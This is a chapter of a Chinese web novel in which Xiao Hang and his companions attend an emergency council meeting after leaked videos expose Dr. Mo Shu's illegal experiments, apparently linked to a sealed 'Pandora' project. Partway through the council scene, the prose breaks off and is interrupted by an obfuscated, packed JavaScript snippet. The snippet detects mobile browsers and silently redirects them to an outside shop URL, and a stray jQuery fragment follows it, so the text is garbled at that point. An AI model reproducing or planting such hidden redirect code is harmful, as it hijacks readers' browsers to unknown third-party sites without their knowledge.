“铃——”“铃——”“铃——”
“大爷的……艹……”
铃声此起彼伏,搅得萧航头痛欲裂。
听到有人骂了句脏话,似乎没动弹,铃声还在响。
“总署的,我刚才接过了,要帮你接吗?”
“接……我怎么感觉屋里有个鼓乐队?好吵……”
“前辈的电话也在响。”
这个前辈大概是指自己。
被麻痹.的大脑终于开始运转,萧航强撑着鬼画符般的思绪,在黑暗中寻找光源。
“总署通知开临时大会。”
“例会我都不去,临时的我能去?哎哟我去……难受……张叔,张叔!”
“你昨天让他们都回去了,咱们在酒店。”
“把私人管家喊来,不行了,我头疼得要炸,谁在我脑子里放烟花呢。”
“铃——”
“大爷的又是……是哥的电话,干妈,指鸥议长吧?怎么办?你来接……”
听到“干妈”两个字,萧航的眼皮掀开条缝:“给……我……”
刚回到堡垒没几天,若是他敢不接电话,干妈能打到天荒地老,然后再劈头盖脸一顿臭骂,最后撬开自己的脑子涮火锅,还是不要找事的好。
眼皮有千斤重,他半睁开眼,用力抬起胳膊。祁知白扶着额头,满脸憔悴地把随身屏递过来后,又仰躺下去。
萧航揪着喉结清清嗓子,方才接听,“喂,干妈?”
“你终于接了。”鸥沐音语气很严肃:“半个小时后来总署开会。”
萧航不解:“我的账号还在冻结……”
鸥沐音截过他的话:“有人曝光了莫述的实验,被你猜对了,重启潘多拉的就是他。”
萧航猛地直起身,四肢一阵酸痛,右手拿不住了,他换到左手,“谁曝光的?”
鸥沐音:“不知道,凌晨四点在各大平台发布,清晨迅速发酵。你在白令庭等我,一起进去。”
萧航:“现在什么情况?”
鸥沐音:“网络科正在拦截,但于事无补,很多人截了屏,自发加入曝光。虽然只提及莫述的实验,但从视频上看,跟潘多拉很像,现在能搜到,你看一下。具体见面说,我正往堡垒赶。”
萧航:“好。”
关断电话,萧航的头脑清醒了,手指还不灵活,视线也不够清晰,点了好几下没能完整输入关键词,他忿忿地“啧”了一声。
“我来吧。”
床边伸来一只手,拿走随身屏,取而代之的,一杯温水放到他手中。
洛明烛一身干净整洁的雾霾蓝卫衣,低头看屏幕,长长的睫毛垂下去,在阳光下根根分明,“前辈要查什么?”
萧航不自然地撇开头,迅速喝了水,简明扼要地将电话里的事情交代一番,洛明烛在屏幕上点触着,问:“实验和潘多拉有关?”
萧航点头:“鸥议长说很像。”
祁知白在床上滚过来滚过去,抱着头叫唤:“什么潘多拉潘少拉李多拉的,你们好吵,我的头好痛,醒酒药怎么还没到?”
萧航抬手在他后脑勺拍了下,“起床,开会。”
被点了暂停键似的,祁知白不滚了,趴着,把头蒙在被子里,声音嗡嗡的,“不去!”语气坚定。
萧航一把掀开被子,威胁道:“我再给你次机会。”
祁知白死尸一般僵挺片刻,像是怒从心头起,右手用力捶了几下床,然后,如同一只搁浅的鱼,扑腾起来,开始抗议。
萧航不管他,看起网上传播的讯息来。
浏览几条,大同小异,都指向一件事:莫述博士在实验中使用违规的化学物质,引发严重的生物变异。有人猜测,堡垒近年来频繁出现的异种,与他脱不开干系。
不管哪条讯息下,评论都十分热闹。有人说,这已经不是猜测而是实锤,曝光视频模糊,但能明显看出,实验的老鼠在一分钟之内体型膨胀,不就是经常出现的巨型异种?
另有图片显示,有几只试剂瓶贴着“禁止活体使用”,却仍在动物标本旁边出现。有人透露,莫述博士多次出现在各地的废弃仓库,手里提着基因活化生态舱。
一时间,众说纷纭,风云诡谲。有人认为他提出“共和”是阴谋,目的正是为了有机会接触异种,方便用他们做实验。也有人认为莫述只为了解异种、克制异种,毕竟谁能证明“共和”会顺利呢,这是未雨绸缪。
不管他人怎么讲,诸多种种全为猜测,台风中心的始作俑者尚在休眠期,媒体无法突破总署的严格保护,竟将目光投向他的儿子——莫安远。
莫安远出现在视频中,娃娃脸涨成猪肝红,秀气的眉毛恨不能拧成麻花。在莫述的庇护下,他本就不善言辞,连父亲准备好的演讲稿都能念得磕磕巴巴。此刻面对摄像机,举止稍显笨拙,对于不怀好意的询问束手无措,神不知鬼不觉地就被带进沟里,让舆论雪上加霜。
从反应上来看,莫安远显然对莫述的所作所为毫不知情。惊讶、痛苦、激烈、咬紧的牙关,萧航笃定是真的。因为这些神态,都曾在十年前出现过。
萧航拍了拍装死的祁知白,问:“你不想去开会?”
祁知白闷声回应:“嗯。”
“行。”萧航穿鞋下地,“界防的事项我盯着,你去办件事。”
“这么好!”祁知白的脑袋蹭地抬起来,旋即有些狐疑地观察,“哥你酒没醒撒酒疯呢,还是跟我钓鱼执法呢?”
洛明烛熟练地把枕头递过来,萧航熟练地一枕头扔过去,“跟我妹联系,给莫安远先送到星盟。”
“星盟?”祁知白被砸得昂了一嗓子,从枕头下探出来,胡噜着乱糟糟的发型,“就烛子在蛮巫那临时地?”
“对。”萧航转身往外走,去洗漱,“让我妈和我妹看着他。”
祁知白追过来,“最近太忙,都忘了,等我带些礼物过去。”
萧航被他一个扭腰撞到旁边,没好气地瞪他一眼。
并肩而立,各洗各的。
等稍微清醒了些,祁知白这才发现自己穿着睡衣,叼着牙刷,含糊不清地问:“烛子给换的衣服?”
萧航刷牙的手一顿。
镜子里,洛明烛斜靠门框看过来。昨晚三人小聚,洛明烛伤刚痊愈,萧航禁止他饮酒。
“嗯。”
洛明烛大方地承认了。
这种事以前常有,三人在祁知白的别墅打游戏一整晚,谁清醒谁负责善后。洛明烛往往能坚持到最后,给睡得七仰八倒的两位换睡衣。
此刻不知怎的,萧航看他似笑非笑的唇线,滚烫的鲜血从跳动的心脏中涌出来,流向四肢百脉,最终齐齐涌向大脑,涨得他脸颊发红,急忙用凉水拍打脸颊,盖住胡思乱想。
洗漱完毕,三人走到套房宽敞明亮的会客厅。落地窗从天花板直落地面,祁知白转去全身镜前整理发型,把额前几缕碎发拨了又拨,“张叔把衣服拿来了?”
洛明烛手里拎着两套塑封好的包装,先走到祁知白旁边,将其中一套递过去。祁知白接过,在镜前比比,满意地哼了一声。
地毯是烟灰色的,绒毛厚实,踩上去悄无声息。洛明烛走近,撕开塑封袋的封口,从里面抖出一件休闲的红色衬衫和黑色长裤。
晨曦照进来,洛明烛的侧脸投下山峰般的阴影,他倾身,把衣服搭在萧航的臂弯,细声细语地道:“用手测量了一下,不知道尺寸对不对,前辈试试。”
萧航装作若无其事地接过,进屋换了衣服。
时间紧任务重,来不及耽搁。祁知白让司机先送二人到“炙味轩”取Y-12,找人打听到莫安远的下落,商务车一溜烟消失在拐角处。
萧航驾车,很快赶到总署。不出意外的,大楼前熙熙攘攘聚集了不少人,废去好一番功夫,才堪堪绕过人墙。
萧航的手腕被抓住,那人一脸兴奋,“欸,萧博士的儿子!你认为关于莫述的爆料,有几分是真的?”
萧航扯了下嘴角,“我怎么知道。”
那人恍若未闻,走流程似的,“你现在出现,是要替父亲翻案,还是替他赎罪?”
周围人听他话语,也往这边凑,“莫述博士违规操作,萧默怀博士导致惨案,你觉得他们是在研究什么?”
他们眼神中完全是对事件的刨根问底,萧航不耐烦地拉下脸,洛明烛挡到面前,手臂半围着,带着他往门口走。
有人不依不饶,“洛队……”
洛明烛冷冷地看过去,瞪得他一激灵。
恰逢此时,另一边也喧闹:“江予队长,总署召开临时大会的目的是什么?难道莫述博士的阴谋与总署内部脱不开关系?”
一声清晰的“滚”传过来,随之,有人打圆场,“干什么围这么近,我靠,你们采访归采访,别耽误我们开会,迟到要罚加练的,行行好呗。”
经常蹲点的媒体知道,巡卫队两个队长都不是善茬,一个只身闯蛮巫的疯子,一个眼神如刀的蝎子,背后还都有议长撑腰作盾。不到万不得已,很少去触他们的霉头,怏怏地收起话筒,自觉去找其他目标。
江予和纪钥盈从人墙中挤过来,一碰面,纪钥盈热情上来打招呼,萧航颔首,四人携伴朝白令庭走去。
···
鸥沐音好不容易休假,没怎么放松,就赶上此等大事,一早从星盟赶过来,焦头烂额,语气冰冷:“散布消息的网络地址定位到了吗?”
有人站起来,鸥沐音挥手让人坐下,道:“别紧张,我只是没睡好,不是发脾气。”
“没有固定的网络地址,发送者不止一人。这边刚拦截一批,那边又冒出新的。发酵过快,个人网络账号层出不穷,压不住。”
洛正阳翻看消息,身后大屏幕上同步滚动,停在一条评论上,他抬起头,“巡卫队那边有情况吗?”
前排的纪钥盈按住话筒按键,答道:“评论中提到的仓库确有实验物残留,已通知检测组。”
波什一只手撑着下颌角,另一手拋着骰子,闻言,懒洋洋地道:“莫述挺有胆子啊,要当异种的造物主?”
韩飞擎坐在轮椅上,比他矮了半头,眼神自下而上看他,却不减威严,“波什,谨言慎行。”
波什识趣地收起骰子,一点儿都不怕韩飞擎发脾气,笑嘻嘻地在嘴上做了个拉链的动作,十分滑稽。
纪秋玉靠在椅背上,抱臂而言:“检测组有一半来自实验室,怎么证明他们不是莫述的同伙?”
鸥沐音乜过去,“你这话不光说莫述有问题,还说总署内部有问题。”
纪秋玉漫不经心地与她对视,“一波未平一波又起,今年风水不好,出几个鬼也正常。”
鸥沐音呵道:“心里有鬼才会怕鬼。”
“好了。”洛正阳旋紧保温杯,沉声问:“莫述的情况如何?”
右侧的人推了推眼镜,答:“莫述博士身体指标一切正常,警卫和巡卫队已调拨人手,保护他的安全。”
洛正阳微微点头,“萧航,他什么时候会醒?”
洛明烛的手从左边伸过来,修长的食指帮他按住按钮,萧航想了想,凑近话筒:“按时间推算,大概在五日之内。”
洛正阳看着他,极轻地叹了口气,“检测组尽快将报告递上来。宣传和网络部关注网络动向,对于第一批散布消息的地址进行追踪,没查清真相之前,控制住舆论,让媒体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829152|211294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
勿要多加揣测。巡卫队继续搜查评论中提到的地址。医疗部时刻监控莫述,有转醒的迹象立即汇报。”
一顿,看向另外几人,“你们有什么要补充的?”
波什用骰子敲着桌面,接话道:“洛明烛,共和学院的建设方面,底层架构正在收尾,另一侧需要蛮巫的协助。我稍后把图纸发给你。”
洛明烛回:“好。”
波什一摊手,“我这边没了。”
另外三人不言语,洛正阳便道:“散会吧。”
鸥沐音直起身,“五曜留一下,萧航,你也留一下,其他人走吧。”
纪秋玉撇着嘴角,“干嘛,有事不在会上说,跟加班有什么区别。”
鸥沐音抬起头,目光穿过三三两两离席的身影,落在萧航脸上,“上前面来。”
萧航猜到她要说出潘多拉的事情,点了点头,逆着人流走过去。离近了,洛正阳对着他身后开口,“你跟着做什么?”
萧航转头,看到洛明烛亦步亦趋地跟着他。
洛明烛淡然道:“没什么可避讳的。”看到远处厅门合拢,四周再无旁人,“鸥议长大概想谈谈潘多拉的事,我知道些,也来听听。”
洛正阳合上平板,不算惊讶。
鸥沐音奇道:“萧航同你说了?”
韩飞擎更奇:“你跟外人说了?”
鸥沐音不以为然,“萧航的家人因此而死,他有知情权。”
“胡闹!”韩飞擎拍了下轮椅,“潘多拉计划已被封存,你我都签过保密协议,你告诉他,各国首脑怎么想?”
鸥沐音嗤之以鼻:“我管他们!”
韩飞擎眉头拧起来,斥道:“几十年前的事情,现在提及有意思吗?”
“当然有!”鸥沐音转头看向他,目眦欲裂,“当初为什么不解释?夏菀宁住院的时候,多少人冲进去骂她‘害虫’,怎么现在可以帮着莫述压舆论?”
韩飞擎脸色有些难看,解释道:“潘多拉计划的实施,整个人类都是受益者,但……”
后面的话被他压在喉咙里,鸥沐音替他说完:“但不光荣是吧?无法向公众交代。”
“好了。”洛正阳开口道:“当时别无选择,你我心知肚明。”
鸥沐音的表情定格在那一瞬间,她张了张口,垂下眼帘,终究没有说话。
洛正阳的目光落下来,看着萧航和洛明烛,意有所指地问:“你对他谈到潘多拉计划,是有什么发现?”
鸥沐音顺了两口水,压住火气,“莫述在进行潘多拉实验。”
韩飞擎:“怎么可能?”
“怎么不可能?”鸥沐音问:“网络上发的实验片段你们也看了,能改变基因工程的,不正是萧默怀当年研究的项目?”
看热闹似的,纪秋玉不紧不慢地从桌上拿起平板,翻看资料,“是有点像。但莫述怎么会知道潘多拉计划?”
“关于这个,”洛明烛上前两步,将随身屏放到他们面前,“有幸查到一些蛛丝马迹。”
萧航讶然,什么时候查的?怎么没说过?
他跟着凑上去,屏幕上是一份病历的扫描件。洛明烛道:“莫述博士曾在医院治疗冲击波导致的鼓膜穿孔、软组织挫伤。”
波什低头看了两眼,乐道:“病历能说明什么?”
洛明烛:“说明他虽不在核心区,但至少是在被波及的距离内,总署和莫述博士的家都离爆炸区很远。”
波什抛起骰子,接住,“所以你的意思是,莫述怂恿萧默怀搞出爆炸,萧默怀死了,莫述受伤,他图什么?”
洛明烛不接话,将屏幕向右滑,“据实验室的同事回忆,两人本身的关系并不和睦,莫述始终将萧默怀博士看作假想敌,但有一段时间突然走得非常近。没过多久,萧博士在实验室公开斥责莫述‘没有分寸’,让他‘做好分内的事,不要越界’。”
随着滑动,几张不同时期的照片跃然眼前,洛明烛继续道:“我推测,那时起,莫述博士应该是发现了潘多拉的事情。”
洛正阳将手机拿过去,和其余几人翻看。
萧航震惊不已,凑到洛明烛耳边小声问:“怎么没跟我提起过?”
洛明烛侧首,微笑,“前辈说不想查,就没必要知道。想知道了,我便说。”
他目光真挚,萧航不敢对视,慌忙回过神,补充自己调查的事情。三言两语简单交代,最后提到他已经进了潘多拉的系统中,“我父亲的账号中有很多实验资料,但我不是这方面的,完全看不懂。”
“哟,”纪秋玉往前倾身,双手交叠搁在桌上,“那系统连着警报系统,输错密码就报警。各国破解过数次,没想到还得亲儿子来。”
鸥沐音斜看她,“等莫述苏醒,由我来审问。”
纪秋玉:“自然是五曜一起,这么大的事,怎能你独自出面?”
鸥沐音:“你刚才说的话,有一点我认同。就是内部有鬼,所以我谁也不信。”
波什觉得好笑,“这话说的,怎么就能证明你是无辜的?咱们五个人,就算有鬼,不还有另外四个呢?怕什么。”
鸥沐音闻言,难以反驳,倔强地抿唇不语。
他们交谈间,萧航一直仔细观察,不知道是当真无关,还是老狐狸们藏得太深。几张脸上没有流露出任何破绽。他们五人是从枪林弹雨,尸山血海里拼出来的,就算有幕后黑手,想必也不会轻易露出马脚。
洛正阳将随身屏还给洛明烛,拍板决定:“既然如此,五日后莫述苏醒再说吧。”
萧航应是,跟洛明烛转身离开。
其实并没有五日,第三天晚上,医疗部就传来莫述醒来的消息,点名要见萧航。